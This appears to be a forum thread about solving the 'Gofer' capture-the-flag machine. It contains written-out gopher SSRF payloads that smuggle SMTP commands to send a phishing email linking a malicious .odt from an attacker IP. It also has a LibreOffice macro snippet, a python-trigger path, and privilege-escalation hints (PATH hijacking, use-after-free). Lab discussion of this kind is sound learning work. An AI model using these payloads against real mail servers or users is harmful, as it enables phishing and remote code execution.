[betecito]

May I ask where your macro is placed, this is my command "gopher%253A%252F%252Fgofer.htb%253A25%252FxHELO%2520gopher.htb%250AMail%2520From%253A%2520%253Cbaihu%2540site.com%253E% 250ARCPT%2520To%253A%2520%253Cjdavis%2540gofer.htb%253E%250AData%250ATo%253A%2520jdavis%2540gofer.htb%250AFrom%253A%2520baihu%2540site.com%250ADate%253A %2520Mon%252C%25207%2520Nov% 25202016%252008%253A45%253A16%250ASubject%253A%2520An%2520example%2520email%250A%250A%253Ca%252Bhref%253D%2522http%253A%252F%252F10.10.16. 14%253A8000%252F1.odt%253E%250ASub% 2520Main%250A%2520%2520%2520%2520Shell(%2522ls%2522)%250AEnd%2520Sub%250A%253C%252Fa%253E%250A%250A.%250A%250AQUIT%250d%250a"

The macro goes in a malicious odt file

I don't know how to generate the reverse shell through the odt file

[th3strik3r]

Hey,
For All Those stuck at the PWN challenge try deleting a user and writing a note and then viewing your account info. and for the tar part you have to mess with the PATH to get priv esc.

[ph0bos]

Metasploit and public PoC's doesn't works. Poisoning content.xml is useless. The only way is by changing the macros MANUALLY. Don't waste your time as i did, i spend like 6 hours trying every single possible PoC.

[frfrfrfrfrfrf]

Metasploit and public PoC's doesn't works. Poisoning content.xml is useless. The only way is by changing the macros MANUALLY. Don't waste your time as i did, i spend like 6 hours trying every single possible PoC.

Share .odt content please!

https://jamesonhacking.blogspot.com/2022...acros.html

[betecito]

I am stuck on the pwn challenge for root. Any suggestions?

totally lost. I have no idea how to escalate privileges :'(

[th3strik3r]

Hey,
For All Those stuck at the PWN challenge try deleting a user and writing a note and then viewing your account info. and for the tar part you have to mess with the PATH to get priv esc.

bro heeelp me in root step
I'm jhudson user please provide info!

Try Looking at some Process Monitoring Tools it will help you move laterally.

[cavour13]

Hey guys! what odt payload did you use? i found the 2018 cve which trigger python ..? is it correct?

vnd.sun.star.script:../../../program/python-core-3.5.5

[not_soEasyExploit]

try this one : gopher://2130706433:25/xHELO%20gofer.htb%250d%250aMAIL%20FROM%3A%[email protected]%3E%250d%250aRCPT%20TO%3A%[email protected]%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%[email protected]%3E%250d%250aTo%3A%20%[email protected]%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%20<a+href%3d'http%3a//<YOUR_IP>/bad.odt>this</a>%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a

Hi man, 

why "127.0.0.1:25" is written like this ?  2130706433:25

Thanks

[betecito]

Metasploit and public PoC's doesn't works. Poisoning content.xml is useless. The only way is by changing the macros MANUALLY. Don't waste your time as i did, i spend like 6 hours trying every single possible PoC.

Share .odt content please!

https://jamesonhacking.blogspot.com/2022...acros.html

BROOOOOOOO I'M SO STUCK IN PWN CHALLENGE HELP ME PLEASE

Llamandote rafael fijo que español hablas!!!! Usa alguna herramienta que examine procesos y paciencia ahi lo veras CLARISIMO.
Use a tool that examines processes and patience, there you will see it CLEARLY.

[betecito]

Gracias por tu respuesta pero estoy estancado en el binario lo ejecute le hice ingeniería inversa pero no logre nada podrías echarme una mano please bro

https://infosecwriteups.com/use-after-free-13544be5a921